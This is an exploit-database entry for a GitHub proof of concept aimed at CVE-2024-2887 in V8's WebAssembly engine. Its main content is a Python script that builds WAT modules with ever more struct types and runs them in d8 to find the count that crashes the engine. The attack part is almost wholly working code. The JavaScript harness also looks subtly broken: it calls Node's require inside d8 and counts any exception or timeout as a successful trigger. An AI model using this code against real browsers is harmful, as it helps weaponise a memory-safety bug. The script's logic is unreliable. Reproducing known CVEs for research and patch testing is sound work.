Exploit database

GH-85c74e0107a9397f37d90a0b1933e288

jjyuorg/reproduce-cve-2024-2887

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-2887

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
jjyuorg/reproduce-cve-2024-2887Revision 8473d1b0241e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

test_wasm_exploit.py

Suggested starting filePython · 3,077 bytes
#!/usr/bin/env python3
import subprocess, tempfile, sys, os, click

@click.command()
@click.option('--d8', required=True, help='Path to V8 d8 binary')
@click.option('--start', type=int, default=1000000, help='First type count')
@click.option('--step', type=int, default=50000, help='Increment per iteration')
@click.option('--max', 'max_', type=int, default=1200000, help='Upper bound')
@click.option('--timeout', type=int, default=10, help='Seconds per test')
def main(d8, start, step, max_, timeout):
    for N in range(start, max_ + 1, step):
        print(f"[+] Testing N={N}")
        with tempfile.TemporaryDirectory() as td:
            wat = os.path.join(td, 'test.wat')
            wasm = os.path.join(td, 'test.wasm')
            js   = os.path.join(td, 'run.js')

            # 1) Generate .wat
            with open(wat, 'w') as f:
                f.write('(module\n')
                for _ in range(N):
                    f.write('  (type (struct (field i32)))\n')
                f.write('  (type (struct (field i32)))\n')
                f.write('  (func (export "run") (result anyref)\n')
                f.write('    struct.new 0\n')
                f.write('  )\n')
                f.write(')\n')

            # 2) wat2wasm
            try:
                subprocess.run(['wat2wasm', wat, '-o', wasm], check=True)
            except subprocess.CalledProcessError:
                print(f"    ERROR: wat2wasm failed at N={N}")
                continue

            # 3) Create JS harness
            with open(js, 'w') as f:
                f.write(f'''
                const fs = require('fs');
                const bytes = fs.readFileSync('{wasm}');
                WebAssembly.instantiate(bytes).then(m => {{
                  try {{
                    m.instance.exports.run();
                    console.log("FAIL: no bug at N={N}");
                    process.exit(1);
                  }} catch(e) {{
                    console.log("SUCCESS: crash/bug at N={N}");
                    process.exit(0);
                  }}
                }}).catch(e => {{
                  console.log("CRASH/HANG at N={N}: ", e);
                  process.exit(0);
                }});
                ''')

            # 4) Invoke d8
            try:
                res = subprocess.run([d8, '--experimental-wasm-gc', js],
                                     stdout=subprocess.PIPE,
                                     stderr=subprocess.STDOUT,
                                     timeout=timeout)
            except subprocess.TimeoutExpired:
                print(f"    TIMEOUT at N={N} (treated as success)")
                print(f"--> Found threshold at N={N}")
                sys.exit(0)

            out = res.stdout.decode()
            if "SUCCESS: crash/bug" in out:
                print(out.strip())
                print(f"--> Found threshold at N={N}")
                sys.exit(0)
            else:
                print(f"    No bug at N={N}")

    print("[-] No bug found up to max")
    sys.exit(1)

if __name__ == '__main__':
    main()